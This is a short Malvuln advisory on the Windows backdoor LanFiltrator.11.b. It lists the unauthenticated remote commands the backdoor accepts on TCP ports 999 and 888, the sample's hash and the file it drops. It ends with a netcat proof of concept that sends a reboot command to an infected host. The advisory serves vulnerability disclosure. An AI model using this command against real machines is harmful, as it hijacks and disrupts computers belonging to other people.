Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9f87546e667e5af59a8580ddf7fd43c7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.LanFiltrator.11.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 999, 888. Third-party attackers who can reach the system can execute commands made available by the malware.
 
[Commands]

CHATING
ST_P
LOG_OFF
RE_BOOT
SHUT_DOWN
POWER_OFF
FORCE
FORCE_IF
MON_OFF
MON_ON
CAPS_ON
CAPS_OFF
NUM_ON
MUN_OFF
SCROLL_ON
SCROLL_OFF

Type: PE32
MD5: 9f87546e667e5af59a8580ddf7fd43c7
Vuln ID: MVID-2021-0368
Dropped files: Csrss.exe
Disclosure: 10/15/2021

Exploit/PoC:
nc64.exe x.x.x.x 999
┤»)«LANfiltrator«(»`RE_BOOT

RE_BOOT


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